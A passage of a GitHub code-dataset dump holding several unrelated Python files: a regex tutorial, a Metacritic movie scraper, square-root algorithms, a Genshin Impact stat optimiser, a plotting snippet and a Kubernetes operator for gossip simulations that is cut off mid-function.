print(match.span())\r\n \r\n \r\nstr=\"My name is David. Hi david\"\r\npattern=r\"david\"\r\nnewStr=re.sub(pattern,\"Amy\",str)\r\nprint(newStr)\r\n\r\n#//Meta characters\r\n\r\nstr=r\"I am \\r \\a \\w\"\r\npattern=r\"gr.y\"\r\n\r\nif re.match(pattern,r\"gray\"):\r\n print(\"Match 1\")\r\nif re.match(pattern,\"grey\"):\r\n print(\"Match 2\")\r\nif re.match(pattern,\"blue\"):\r\n print(\"Match 3\")\r\n \r\nstr=\"please contact vermavinay982@gmail.com for assitance\"\r\n\r\npattern=r\"([\\w\\.-]+)@([\\w\\.-]+)(\\.[\\w\\.]+)\"\r\n\r\nmatch=re.search(pattern,str)\r\nif match: \r\n print(match.group())\r\n \r\n\"\"\"\r\n\\d digits\r\n\\s spaces\r\n\\w word characters\r\n\"\"\"\r\n\r\npattern=r\"gr(a|e)y\"\r\nstr=\"gray\"\r\nstr2=\"grey\"\r\n\r\nif re.match(pattern,str):\r\n print(\"matches\")\r\nif re.match(pattern,str2):\r\n print(\"this too matches\")\r\n \r\nimport this \r\n\"\"\"\r\nZen of python the principles and philosophies that are helpful in understanding and using the language effectively \r\n\"\"\"\r\n","repo_name":"MauroBueno/Machine-Learning-Python-Projects","sub_path":"Python Tutorial/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16487517421","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport pandas as pd\r\n\r\nmovie_titles = []\r\nrelease_dates = []\r\nratings = []\r\nmetascores = []\r\nuserscores = []\r\n\r\npages = [i for i in range(0,4)]\r\nfor page in pages:\r\n source = requests.get(f'https://www.metacritic.com/browse/movies/score/metascore/year/filtered?page={page}').text\r\n soup = BeautifulSoup(source, 'lxml')\r\n for movie in soup.find_all('td', class_=\"clamp-summary-wrap\"):\r\n #print(movie.prettify())\r\n movie_title = movie.find('a', class_='title').h3.text\r\n movie_titles.append(movie_title)\r\n\r\n release_date = movie.find('div', class_='clamp-details').span.text\r\n release_dates.append(release_date)\r\n\r\n try:\r\n rating = movie.select('div.clamp-details span')[1].text\r\n ratings.append(rating)\r\n except Exception as e:\r\n ratings.append('None')\r\n\r\n metascore = movie.select('a.metascore_anchor div')[0].text\r\n metascores.append(metascore)\r\n\r\n user_score = movie.select('a.metascore_anchor div')[2].text\r\n userscores.append(user_score)\r\n\r\nmovie_stuff = pd.DataFrame({\r\n 'Movie titles': movie_titles,\r\n 'Release Dates': release_dates,\r\n 'Ratings': ratings,\r\n 'Meta-scores': metascores,\r\n 'User-scores': userscores\r\n})\r\nprint(movie_stuff)\r\nmovie_stuff.to_csv('movies.csv')\r\n","repo_name":"jwteo/Hottest-Movies","sub_path":"Movie Reviews.py","file_name":"Movie Reviews.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1734884923","text":"# Daily Coding Problem #129\n# Problem\n# Given a real number n, find the square root of n. For example, given n = 9, return 3.\n#\n# Solution\n# This is a classic question that was first solved by Heron of Alexandria after the first century.\n#\n# Alexandra's algorithm starts with a guess and iteratively improves until convergence. In each iteration,\n# we improve our guess by averaging guess and n / guess. This formula comes from the fact that if guess is an\n# overestimate, then n / guess would be an underestimate. For example, If n is 9, then a guess of 4 is an\n# overestimate and 9 / 4 is an underestimate. On the other hand, if guess is an underestimate, then n / guess is an\n# overestimate. The process converges when guess is3 which is equal to 9 / 3. For the full proof, please see here.\n\ndef squareroot(n, error=0.00001):\n guess = 1\n\n while abs(guess ** 2 - n) >= error:\n guess = (guess + n / guess) / 2.0\n return guess\n\n# A more realistic answer, in an interview setting, would be to use binary search. We can pick an underestimate lo =\n# 0 and an overestimate hi = n to start. And we can keep the loop invariant that the true squareroot(n) would always\n# lie between [lo, hi]. To do this, we see if guess = (lo + hi) / 2 is an overestimate, and if it is, bring the hi\n# down to guess. Otherwise, we bring the lo up to guess. The loop finishes when guess ** 2 is very close to n (plus\n# or minus `error):\n\ndef squareroot(n, error=0.00001):\n lo = 0.0\n hi = n\n guess = (lo + hi) / 2.0\n\n while abs(guess ** 2 - n) >= error:\n if guess ** 2 > n:\n hi = guess\n else:\n lo = guess\n guess = (lo + hi) / 2.0\n\n return guess\n","repo_name":"henrylin2008/Coding_Problems","sub_path":"DailyCoding/square_root.py","file_name":"square_root.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"6527561012","text":"# importing values\r\nimport numpy as np\r\nfrom scipy.optimize import minimize\r\nimport pandas as pd\r\n\r\nimport csv\r\n\r\nstats_file_name = 'C:/Users/micha/Desktop/PythonPrograms/ProductionFormulas/GenshinOptimization/Output/stats.csv'\r\nrolls_file_name = 'C:/Users/micha/Desktop/PythonPrograms/ProductionFormulas/GenshinOptimization/Output/rolls.csv'\r\n\r\n# code for getting user input from console\r\n#inputParameters = input(\"Please enter character and enemy data in the form (CharName,CharLVL,SM,EnemyName,EnemyLVL)\")\r\n\r\ninputParameters = 'Eula,90, 22.9374,Hilichurl,90'\r\n\r\n# getting a list of weapon names from the user input\r\n#inputWeaponNameList = input(\"Please enter weapon names and levels (Weapon#1Name, Weapon#2Name, etc...)\")\r\n\r\ninputWeaponNameList = \"BlackcliffSlasher,PrototypeArchaic,Rainslasher,RoyalGreatsword,SerpentSpine,TheBell,WhiteBlind,SacrificialGreatsword,Snow-TombedStarsilver,FavoniusGreatsword,LithicBlade,SkywardPride,Wolf'sGravestone,TheUnforged,SongOfBrokenPines,SkyriderGreatsword\"\r\n\r\nweaponNameList = inputWeaponNameList.split(\",\")\r\n\r\ndef optimize (inputParameters, weaponName):\r\n\r\n stats_List = []\r\n rolls_List = []\r\n\r\n split_string = inputParameters.split(\",\")\r\n\r\n #extracting values from string list\r\n charName = split_string[0]\r\n charLVL = float(split_string[1])\r\n skillMultiplier = float(split_string[2])\r\n enemyName = split_string[3]\r\n enemyLVL = float(split_string[4])\r\n\r\n # hard coding weapon level 90\r\n weaponLVL = 90\r\n\r\n #making intermediate variable global to the script\r\n CharBaseATK = 0\r\n CharATKB = 0\r\n CharCD = 0\r\n CharCR = 0\r\n CharEB = 0\r\n\r\n WeapBaseATK = 0\r\n WeapATKB = 0\r\n WeapCD = 0\r\n WeapCR = 0\r\n WeapEB = 0\r\n\r\n # opening CSV with character data and putting it into a dataframe\r\n with open('C:/Users/micha/Desktop/PythonPrograms/ProductionFormulas/GenshinOptimization/CharLVL90.csv', mode='r') as csv_file:\r\n reader = csv.reader(csv_file)\r\n data = list(reader)\r\n print(data.index)\r\n dfC = pd.DataFrame(data, columns = ['Name','Base ATK','ATK%', 'CR','CD','EB','Type'])\r\n #print (df) #for printing the CSV data if you want to see it\r\n\r\n # opening CSV with weapon data and putting it into a dataframe\r\n with open('C:/Users/micha/Desktop/PythonPrograms/ProductionFormulas/GenshinOptimization/WeaponLVL90.csv', mode='r') as csv_file:\r\n reader = csv.reader(csv_file)\r\n data = list(reader)\r\n print(data.index)\r\n dfW = pd.DataFrame(data, columns = ['Name','Base ATK','ATK%', 'CR','CD','EB'])\r\n\r\n # populating character variables with csv data\r\n for i in range(31) :\r\n if str(dfC.iloc[i+1, 0]) == str(charName) :\r\n CharBaseATK = float(dfC.iloc[i+1, 1]) # character Base Atk\r\n CharATKB = float(dfC.iloc[i+1, 2])\r\n CharCR = float(dfC.iloc[i+1, 3])\r\n CharCD = float(dfC.iloc[i+1, 4])\r\n CharEB = float(dfC.iloc[i+1, 5]) \r\n print('Character Stats:', 'Base ATK = ', CharBaseATK,'CritRate = ', CharCR,'CritDMG = ', CharCD,'ElemBonus = ', CharEB)\r\n\r\n # populating weapon variables with csv data\r\n for i in range(55) :\r\n if str(dfW.iloc[i+1, 0]) == str(weaponName) :\r\n WeapBaseATK = float(dfW.iloc[i+1, 1]) # character Base Atk\r\n WeapATKB = float(dfW.iloc[i+1, 2])\r\n WeapCR = float(dfW.iloc[i+1, 3])\r\n WeapCD = float(dfW.iloc[i+1, 4])\r\n WeapEB = float(dfW.iloc[i+1, 5])\r\n print('Weapon Stats:','Base ATK = ', WeapBaseATK,'CritRate = ', WeapCR,'CritDMG = ', WeapCD,'ElemBonus = ', WeapEB)\r\n\r\n TotalBaseATK = CharBaseATK + WeapBaseATK # finding total base attack\r\n\r\n # filling other variables with either hardcode or user input\r\n SM = skillMultiplier # skill multiplier (assuming LVL 6 charged atk)\r\n CharLVL = charLVL\r\n EnemyLVL = enemyLVL\r\n DefDrop = 0\r\n EnemyRes = -0.055 # Hilichurl Physical Resistance LVL 6 Talent(21% shred) 11% / 2 = -5.5%\r\n BaseHP = 13226 # Eula base HP\r\n EB = 0.538 + CharEB + WeapEB + 0.25 + 0.25 # accounting for phys goblet, 2 pc pale flame and 4 pc effect\r\n\r\n C1 = (1+EB)*(SM)*((100+CharLVL)/(100 + CharLVL + 100 + EnemyLVL)) *(1-EnemyRes) #calculating C1\r\n C2 = TotalBaseATK # setting C2 to the total base attack\r\n\r\n #print(\"C1 = \" + str(C1))\r\n #print(\"C2 = \" + str(C2))\r\n\r\n def objective(x) :\r\n\r\n a = x[0] #ATK%\r\n f = x[1] #flat atk\r\n z = x[2] #HP%\r\n h = x[3] #flat hp\r\n r = x[4] #crit rate\r\n d = x[5] #crit dmg\r\n\r\n #HPatkBonusES = (0.0506)*(BaseHP*(0.466+1+0.0495*z)+254*h+4780)\r\n\r\n # conidtional for reaching max HP bonus cap\r\n #if (HPatkBonusES > 4*C2) :\r\n #HPatkBonusES = 4*C2\r\n \r\n #print(\"HP ES bonus max = \" + str(4*C2))\r\n #print(\"HP ES bonus = \" + str(HPatkBonusES))\r\n\r\n #print((-1)*C1*(C2*(1+0.466+CharATKB+WeapATKB+0.0495*a)+311+f*16.5+HPatkBonusES))\r\n #print(1+(0.311+WeapCR+CharCR+0.033*r)*(WeapCD+CharCD+0.066*d))\r\n\r\n #assuming CR% / EB% / ATK%\r\n return (-1)*C1*(C2*(1+0.18+0.466+CharATKB+WeapATKB+0.0495*a)+311+f*16.5)*(1+(0.311+WeapCR+CharCR+0.033*r)*(WeapCD+CharCD+0.066*d))\r\n\r\n def constraint1(x) :\r\n return x[0]+x[1]+x[2]+x[3]+x[4]+x[5]-20\r\n\r\n def printStats(x) :\r\n\r\n a = x[0] #ATK%\r\n f = x[1] #flat atk\r\n z = x[2] #HP%\r\n h = x[3] #flat hp\r\n r = x[4] #crit rate\r\n d = x[5] #crit dmg\r\n\r\n HPatkBonusES = (0.0506)*(BaseHP*(0.466+1+0.0495*z)+254*h+4780)\r\n\r\n # conditional for reaching max HP bonus cap\r\n if (HPatkBonusES > 4*C2) :\r\n HPatkBonusES = 4*C2\r\n\r\n ATK = C2 + C2*(1+0.18+0.466+CharATKB + WeapATKB + 0.0495*a)+311+f*16.5\r\n #+0.018*(BaseHP*(1+0.0495*z)+254*h+4780)\r\n HP = BaseHP*(1+0.0495*z)+254*h+4780\r\n CR = 0.331+CharCR+WeapCR+0.033*r\r\n CD = CharCD+WeapCD+0.066*d\r\n\r\n #print(\"Avg Optimized DMG = \" + str(objective(sol.x)))\r\n #print(\"Total ATK = \" + str(ATK))\r\n #print(\"Total HP = \" + str(HP))\r\n #print(\"Total CR = \" + str(CR))\r\n #print(\"Total CD = \" + str(CD))\r\n\r\n stats_List.append((-1)*objective(sol.x))\r\n stats_List.append(ATK)\r\n stats_List.append(HP)\r\n stats_List.append(CR)\r\n stats_List.append(CD)\r\n \r\n rolls_List.append(a)\r\n rolls_List.append(f)\r\n rolls_List.append(z)\r\n rolls_List.append(h)\r\n rolls_List.append(r)\r\n rolls_List.append(d)\r\n\r\n #print(str((-1)*objective(sol.x)))\r\n #print(str(ATK))\r\n #print(str(HP))\r\n #print(str(CR))\r\n #print(str(CD))\r\n\r\n #x0 = [1,1,1,1,1,1]\r\n x0 = [0,0,0,18,0,0] # initialization\r\n print(objective(x0))\r\n\r\n highBound = (0.0, 20.0)\r\n lowBound = (0.0, 15)\r\n bnds = (highBound,highBound,highBound,highBound,lowBound,lowBound)\r\n con1 = {'type': 'eq', 'fun': constraint1}\r\n\r\n cons = [con1]\r\n\r\n sol = minimize(objective, x0, method = 'SLSQP', bounds=bnds, constraints = cons)\r\n\r\n #print(sol)\r\n printStats(sol.x)\r\n\r\n print(stats_List)\r\n print(rolls_List)\r\n\r\n return stats_List, rolls_List\r\n\r\nStats_DMG = []\r\nStats_ATK = []\r\nStats_HP = []\r\nStats_CR = []\r\nStats_CD = []\r\n\r\nRolls_ATK = []\r\nRolls_F_ATK = []\r\nRolls_HP = []\r\nRolls_F_HP = []\r\nRolls_CR = []\r\nRolls_CD = []\r\n\r\nfor i in weaponNameList:\r\n\r\n Stats = optimize(inputParameters, i)[0]\r\n Rolls = optimize(inputParameters, i)[1]\r\n\r\n Stats_DMG.append(Stats[0])\r\n Stats_ATK.append(Stats[1])\r\n Stats_HP.append(Stats[2])\r\n Stats_CR.append(Stats[3])\r\n Stats_CD.append(Stats[4])\r\n\r\n Rolls_ATK.append(Rolls[0])\r\n Rolls_F_ATK.append(Rolls[1])\r\n Rolls_HP.append(Rolls[2])\r\n Rolls_F_HP.append(Rolls[3])\r\n Rolls_CR.append(Rolls[4])\r\n Rolls_CD.append(Rolls[5])\r\n\r\nprint(Stats_DMG)\r\nprint(\"Weapons List\", weaponNameList)\r\n\r\nfor i in range(len(weaponNameList)):\r\n print(Stats_DMG[i], Stats_ATK[i], Stats_HP[i], Stats_CR[i], Stats_CD[i])\r\n\r\nstats_List = [Stats_DMG, Stats_ATK, Stats_HP, Stats_CR, Stats_CD]\r\nrolls_List = [Rolls_ATK, Rolls_F_ATK, Rolls_HP, Rolls_F_HP, Rolls_CR, Rolls_CD]\r\n\r\nstats_DataFrame = pd.DataFrame(stats_List, columns = ['BlackcliffSlasher', 'PrototypeArchaic', 'Rainslasher', 'RoyalGreatsword', 'SerpentSpine', 'TheBell', 'WhiteBlind', 'SacrificialGreatsword', 'Snow-TombedStarsilver', 'FavoniusGreatsword', 'LithicBlade', 'SkywardPride', \"Wolf'sGravestone\", 'TheUnforged', 'SongOfBrokenPines', 'SkyriderGreatsword'])\r\nrolls_DataFrame = pd.DataFrame(rolls_List, columns = ['BlackcliffSlasher', 'PrototypeArchaic', 'Rainslasher', 'RoyalGreatsword', 'SerpentSpine', 'TheBell', 'WhiteBlind', 'SacrificialGreatsword', 'Snow-TombedStarsilver', 'FavoniusGreatsword', 'LithicBlade', 'SkywardPride', \"Wolf'sGravestone\", 'TheUnforged', 'SongOfBrokenPines', 'SkyriderGreatsword'])\r\n\r\nprint(stats_DataFrame)\r\n\r\nstats_DataFrame.to_csv(stats_file_name, sep=',', index = False)\r\nrolls_DataFrame.to_csv(rolls_file_name, sep=',', index = False)\r\n","repo_name":"KleeIsHere/GenshinOptimization","sub_path":"EulaOptimizationAllClaymores.py","file_name":"EulaOptimizationAllClaymores.py","file_ext":"py","file_size_in_byte":9027,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"37109460846","text":"import matplotlib.pyplot as plt\ncoord = [[1,1], [2,1], [2,2], [1,2], [0.5,1.5]]\ncoord.append(coord[0]) #repeat the first point\n# to create a 'closed loop'\nprint(coord)\nxs, ys = zip(*coord) #create lists of x and y values\nprint(xs)\nprint(ys)\nplt.figure()\nplt.plot(xs,ys)\nplt.show() # if you need..","repo_name":"TaroBill/python-practice","sub_path":"zuvio.py","file_name":"zuvio.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36970086566","text":"import logging\nimport math\nimport time\nimport json\nimport kopf\nimport uuid\nfrom kubernetes import client, config\nfrom kubernetes.client.rest import ApiException\nimport networkx as nx\nimport community as community_louvain\nfrom networkx import PowerIterationFailedConvergence\n\nfrom cfg import *\n\n# Create a custom logger\nlog = logging.getLogger(__name__)\n\n# Set the logging level\nlog.setLevel(logging.INFO)\n\n# Create a formatter with the desired log message format\nformatter = logging.Formatter('%(levelname)s:%(message)s')\n\n# Create a handler and set the formatter\nhandler = logging.StreamHandler()\nhandler.setFormatter(formatter)\n\n# Add the handler to the logger\nlog.addHandler(handler)\n\n# Load in-cluster configuration\nconfig.load_incluster_config()\napi = client.CoreV1Api()\ncustoms_api = client.CustomObjectsApi()\n\n\n@kopf.on.create('gossip.io', 'v1', 'simulations')\ndef create_services_and_pods(spec, name, namespace, logger, **kwargs):\n \"\"\"\n Create pods and services for a simulation resource object.\n\n Args:\n spec (dict): The specification of the simulation.\n name (str): The name of the simulation.\n namespace (str): The namespace in which the simulation is created.\n logger (logging.Logger): The logger for logging messages.\n **kwargs: Additional keyword arguments.\n\n Returns:\n None\n \"\"\"\n simulation_id = str(uuid.uuid4())\n graph_selector = spec.get('graphSelector', {})\n match_labels = graph_selector.get('matchLabels', {})\n\n graph_dict = {} # Dictionary to store graph name and graph spec\n\n if 'name' in match_labels:\n series_simulation = False\n # Select a single graph based on 'name' label\n graph_name = match_labels['name']\n graph_obj = customs_api.get_namespaced_custom_object('gossip.io', 'v1', namespace, 'graphs', graph_name)\n graph_dict[graph_name] = graph_obj['spec']\n log.info(f\"Selected graph '{graph_name}' from graphSelector.\")\n elif 'series' in match_labels:\n series_simulation = True\n # Select multiple graphs based on 'series' label\n series_name = match_labels['series']\n # Retrieve all graphs in the series based on the 'series' label\n graph_objs = customs_api.list_namespaced_custom_object('gossip.io', 'v1', namespace, 'graphs',\n label_selector=f\"series={series_name}\")\n for graph_obj in graph_objs['items']:\n graph_name = graph_obj['metadata']['name']\n graph_dict[graph_name] = graph_obj['spec']\n log.info(f\"Selected graphs in series '{series_name}' from graphSelector.\")\n\n # Perform simulation for each selected graph spec\n for graph_index, (graph_name, graph_spec) in enumerate(graph_dict.items()):\n log.info(f'Creating simulation for graph {graph_name}.')\n is_last_graph_spec = (graph_index == len(graph_dict) - 1)\n # Convert the adjacency list from a comma-separated string to a list of tuples\n split_adj_list = graph_spec.get('adjacencyList', '')\n str_adj_list = ''.join(split_adj_list)\n split_adj_list = [split_str.rstrip(',') for split_str in split_adj_list]\n adjacency_list = []\n for edge_str in split_adj_list:\n if edge_str:\n edge = tuple(map(int, edge_str.strip().split()))\n adjacency_list.append(edge)\n\n # get and sort all the nodes in the adj list\n entries = [split_str for split_str in split_adj_list]\n nodes = [int(entry.split()[0]) for entry in entries]\n nodes.sort()\n\n # create a dictionary containing the nodes as keys\n # and their respective neighbors as values\n neighbors = {}\n for node in nodes:\n neighbors[node] = []\n\n # Construct neighbors for each node\n for entry in entries:\n sub_entries = entry.split()\n key = int(sub_entries[0])\n for sub_entry in sub_entries[1:]:\n sub_entry = int(sub_entry)\n neighbors[key].append(sub_entry)\n neighbors[sub_entry].append(key)\n neighbors = {key: sorted(values) for key, values in sorted(neighbors.items())}\n\n log.info(f'Neighbors of each node: {neighbors}')\n\n algorithm = spec.get('algorithm', DEFAULT_ALGORITHM)\n repetitions = spec.get('repetitions', 1)\n log.info(f'Simulation running algorithm {algorithm}')\n\n def get_community_node_dict(partition):\n \"\"\"\n Get dictionaries mapping community IDs to node IDs and vice versa.\n\n Args:\n partition (dict): A dictionary with node IDs as keys and community IDs as values.\n\n Returns:\n tuple: A tuple containing two dictionaries:\n - node_community_dict (dict): A dictionary mapping node IDs to community IDs.\n - community_node_dict (dict): A dictionary mapping community IDs to lists of node IDs.\n \"\"\"\n # create a dictionary with node ids as keys and community ids as values\n # this is effectively a non-shallow copy of partition\n node_community_dict = {int(node): int(community_id) for node, community_id in partition.items()}\n # this dict contains the community ids as keys and the node ids as values\n community_node_dict = {}\n for node, community_id in node_community_dict.items():\n if community_id not in community_node_dict:\n community_node_dict[community_id] = [node]\n else:\n community_node_dict[community_id].append(node)\n log.info(f'Node communities: {node_community_dict}')\n return node_community_dict, community_node_dict\n\n # communities are needed for weighted_factor and community probability assignment\n if algorithm in NODE_COMMUNITIES_SET:\n graph = nx.parse_adjlist(split_adj_list)\n # apply louvain method on the graph\n partition = community_louvain.best_partition(graph)\n partition = {int(k): int(v) for k, v in partition.items()}\n node_community_dict, community_node_dict = get_community_node_dict(partition)\n\n # weighted factor algorithms use a factor to modify the probability\n # of selecting a partner inside or outside the community\n if algorithm in WEIGHTED_FACTOR_SET:\n factors = spec.get('factor', [DEFAULT_FACTOR])\n\n\n # community probability algorithms use statistical data for each selection\n # of the next gossip partner\n if algorithm in COMMUNITY_PROBABILITIES_SET:\n # Compute the cluster sizes\n cluster_sizes = {}\n for node, cluster in partition.items():\n if cluster not in cluster_sizes:\n cluster_sizes[cluster] = 0\n cluster_sizes[cluster] += 1\n\n # Compute the community_probabilities for each cluster for each node\n community_probabilities = {}\n for node, cluster in partition.items():\n if node not in community_probabilities:\n community_probabilities[node] = {}\n neighbor_count = len(list(neighbors[node]))\n for neighbor in neighbors[node]:\n neighbor_cluster = partition[neighbor]\n if neighbor_cluster not in community_probabilities[node]:\n community_probabilities[node][neighbor_cluster] = 0\n community_probabilities[node][neighbor_cluster] += 1 / neighbor_count\n\n if algorithm in ADVANCED_CLUSTERING_SET:\n weighting_params_a = spec.get('weightingParamA', [DEFAULT_WEIGHTING_PARAM])\n\n if algorithm in BETWEENNESS_SET:\n betweenness_centralities = nx.betweenness_centrality(graph)\n\n if algorithm in EIGENVECTOR_SET:\n try:\n eigenvector_centralities = nx.eigenvector_centrality(graph, max_iter=1000)\n except PowerIterationFailedConvergence:\n log.error('Could not compute eigenvector centralities. Aborting...')\n try:\n customs_api.delete_namespaced_custom_object(\n namespace=namespace,\n name=name\n )\n print(f\"Custom resource {name} deleted successfully.\")\n except client.ApiException as e:\n print(f\"Error deleting custom resource {name}: {e}\")\n return\n\n if algorithm in HUB_SCORE_SET:\n hub_scores, authority_scores = nx.hits(graph)\n\n\n # memory algorithms use a factor to modify the probability\n # of selecting a partner that has already been selected in a previous gossiping\n if algorithm in MEMORY_SET:\n prior_partner_factors = spec.get('priorPartnerFactor', [DEFAULT_PRIOR_PARTNER_FACTOR])\n\n # random initialization sets the node value of each node\n randomInitialization = spec.get('randomInitialization', True)\n if not randomInitialization:\n str_value_list = graph_spec.get('valueList', '').rstrip(',')\n split_value_list = str_value_list.split(',')\n # set the values to the provided value list if the lengths match\n if len(split_value_list) == len(nodes):\n values = split_value_list\n else:\n # set the node value to the node number\n values = nodes\n # create a dict mapping nodes to their respective value\n node_values = {}\n for i in range(len(nodes)):\n node_values[nodes[i]] = values[i]\n\n pods = []\n\n def get_resource_name(graph_index, name, node):\n \"\"\"\n Generate a resource name based on the simulation name and node ID.\n\n Args:\n name (str): The name of the simulation.\n node (str): The node ID.\n\n Returns:\n str: The generated resource name.\n \"\"\"\n return f'{name}-g{graph_index}-n{node}'\n\n def create_node_pods():\n \"\"\"\n Create node pods for the simulation.\n\n Returns:\n None\n \"\"\"\n batch_size = CREATE_POD_BATCH_SIZE\n num_nodes = len(nodes)\n num_batches = math.ceil(num_nodes / batch_size)\n\n # Create a Pod for each node in the graph\n for batch_index in range(num_batches):\n start_index = batch_index * batch_size\n end_index = min((batch_index + 1) * batch_size, num_nodes)\n batch_nodes = nodes[start_index:end_index]\n\n for node in batch_nodes:\n # Create a Pod for this node\n pod_name = get_resource_name(graph_index, name, node)\n\n labels = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': str(node)\n }\n\n env = []\n\n neighbor_nodes = neighbors[node]\n\n # set environment variables\n neighbors_str = ','.join([get_resource_name(graph_index, name, n) for n in neighbor_nodes])\n env.append(client.V1EnvVar(name=ENVIRONMENT_NEIGHBORS, value=neighbors_str))\n env.append(client.V1EnvVar(name=ENVIRONMENT_ALGORITHM, value=algorithm))\n env.append(client.V1EnvVar(name=ENVIRONMENT_REPETITIONS, value=str(repetitions)))\n env.append(client.V1EnvVar(name=ENVIRONMENT_RANDOM_INITIALIZATION, value=str(randomInitialization)))\n if not randomInitialization:\n env.append(client.V1EnvVar(name=ENVIRONMENT_NODE_VALUE, value=str(node_values[node])))\n\n # weighted factor algorithm specific environment variables\n if algorithm in WEIGHTED_FACTOR_SET:\n # set the community neighbors of the current node\n community_id = node_community_dict[node]\n community_nodes = community_node_dict[community_id]\n # extract community and non-community neighbors\n community_neighbors = []\n # non_community_neighbors = []\n for neighbor_node in neighbor_nodes:\n if neighbor_node in community_nodes:\n community_neighbors.append(neighbor_node)\n\n community_neighbors_str = ','.join(\n [get_resource_name(graph_index, name, n) for n in community_neighbors]\n )\n env.append(client.V1EnvVar(name=ENVIRONMENT_COMMUNITY_NEIGHBORS, value=community_neighbors_str))\n env.append(client.V1EnvVar(name=ENVIRONMENT_FACTOR,\n value=','.join(str(factor) for factor in factors)))\n\n # community probabilities algorithm specific environment variables\n if algorithm in COMMUNITY_PROBABILITIES_SET:\n # set the same community probabilities of the neighbors for the current node\n community_id = node_community_dict[node]\n\n same_community_probabilities_neighbors = []\n for neighbor in neighbor_nodes:\n neighbor_community_probabilities = community_probabilities[neighbor]\n same_community_probabilities_neighbors.append(neighbor_community_probabilities[community_id])\n\n same_community_probabilities_neighbors_str = ','.join(\n str(round(item, COMMUNITY_PROBABILITIES_ROUNDING))\n for item\n in same_community_probabilities_neighbors\n )\n env.append(client.V1EnvVar(name=ENVIRONMENT_SAME_COMMUNITY_PROBABILITIES_NEIGHBORS,\n value=same_community_probabilities_neighbors_str))\n\n if algorithm in COMMUNITY_BASED_SET:\n neighboring_communities = []\n for neighbor in neighbor_nodes:\n neighbor_community = node_community_dict[neighbor]\n neighboring_communities.append(str(neighbor_community))\n neighboring_communities_str = ','.join(neighboring_communities)\n env.append(client.V1EnvVar(name=ENVIRONMENT_NEIGHBORING_COMMUNITIES,\n value=neighboring_communities_str))\n\n def get_data_for_neighbors(dictionary, neighbor_list):\n neighbor_data_list = []\n for n in neighbor_list:\n neighbor_data = dictionary[str(n)]\n neighbor_data_list.append(neighbor_data)\n return neighbor_data_list\n\n if algorithm in ADVANCED_CLUSTERING_SET:\n env.append(client.V1EnvVar(name=ENVIRONMENT_WEIGHTING_PARAM_A,\n value=','.join(str(param) for param in weighting_params_a)))\n\n if algorithm in BETWEENNESS_SET:\n betweenness_centralities_neighbors \\\n = get_data_for_neighbors(betweenness_centralities, neighbor_nodes)\n\n betweenness_centralities_neighbors_str = ','.join(\n str(round(item, ADVANCED_ALGORITHM_WEIGHT_ROUNDING))\n for item\n in betweenness_centralities_neighbors\n )\n env.append(client.V1EnvVar(name=ENVIRONMENT_BETWEENNESS_CENTRALITIES_NEIGHBORS,\n value=betweenness_centralities_neighbors_str))\n\n if algorithm in EIGENVECTOR_SET:\n eigenvector_centralities_neighbors \\\n = get_data_for_neighbors(eigenvector_centralities, neighbor_nodes)\n\n eigenvector_centralities_neighbors_str = ','.join(\n str(round(item, ADVANCED_ALGORITHM_WEIGHT_ROUNDING))\n for item\n in eigenvector_centralities_neighbors\n )\n env.append(client.V1EnvVar(name=ENVIRONMENT_EIGENVECTOR_CENTRALITIES_NEIGHBORS,\n value=eigenvector_centralities_neighbors_str))\n\n if algorithm in HUB_SCORE_SET:\n hub_scores_neighbors = get_data_for_neighbors(hub_scores, neighbor_nodes)\n\n hub_scores_neighbors_str = ','.join(\n str(round(item, ADVANCED_ALGORITHM_WEIGHT_ROUNDING))\n for item\n in hub_scores_neighbors\n )\n env.append(client.V1EnvVar(name=ENVIRONMENT_HUB_SCORES_NEIGHBORS,\n value=hub_scores_neighbors_str))\n\n # memory algorithm specific environment variables\n if algorithm in MEMORY_SET:\n env.append(client.V1EnvVar(name=ENVIRONMENT_PRIOR_PARTNER_FACTOR,\n value=','.join(str(factor) for factor in prior_partner_factors)))\n\n # Create the container for the Pod\n container = client.V1Container(\n name=DOCKER_NODE_NAME,\n image=DOCKER_NODE_IMAGE,\n env=env,\n ports=[\n client.V1ContainerPort(container_port=TCP_SERVICE_PORT, name='tcp'),\n client.V1ContainerPort(container_port=GRPC_SERVICE_PORT, name='grpc')\n ]\n )\n\n # define the pod\n pod = client.V1Pod(\n metadata=client.V1ObjectMeta(\n name=pod_name,\n namespace=namespace,\n labels=labels\n ),\n spec=client.V1PodSpec(\n restart_policy='OnFailure',\n containers=[container],\n image_pull_secrets=[client.V1LocalObjectReference(name=REGISTRY_SECRET_NAME)],\n topology_spread_constraints=[\n client.V1TopologySpreadConstraint(\n max_skew=1,\n topology_key=\"simulation_node\",\n when_unsatisfiable=\"DoNotSchedule\",\n label_selector=client.V1LabelSelector(\n match_labels={\n \"app\": \"gossip\"\n }\n )\n )\n ]\n )\n )\n try:\n # create the pod in the current namespace\n api.create_namespaced_pod(namespace=namespace, body=pod)\n log.info(f'Pod {pod_name} created.')\n pods.append(pod_name)\n except ApiException as e:\n log.error(f'Error creating pod: {e}')\n\n # Wait for the pods in this batch to start\n log.info(f'Waiting for node pods in batch {batch_index + 1}/{num_batches} to start...')\n while True:\n # List all pods matching the specified labels\n node_pods = api.list_namespaced_pod(namespace=namespace, label_selector=','.join(\n [f\"{k}={v}\" for k, v in labels.items()]))\n\n # Check if all pods in this batch are in the \"Running\" state\n if all(pod.status.phase == 'Running' for pod in node_pods.items):\n log.info(f'All node pods in batch {batch_index + 1}/{num_batches} are now running.')\n break\n\n log.info(f'Finished creating Pods for simulation {name} on graph {graph_name}.')\n\n def create_node_services():\n \"\"\"\n Create pods for the simulation.\n\n Returns:\n None\n \"\"\"\n for node in nodes:\n # Create a Service for this node\n service_name = get_resource_name(graph_index, name, node)\n\n 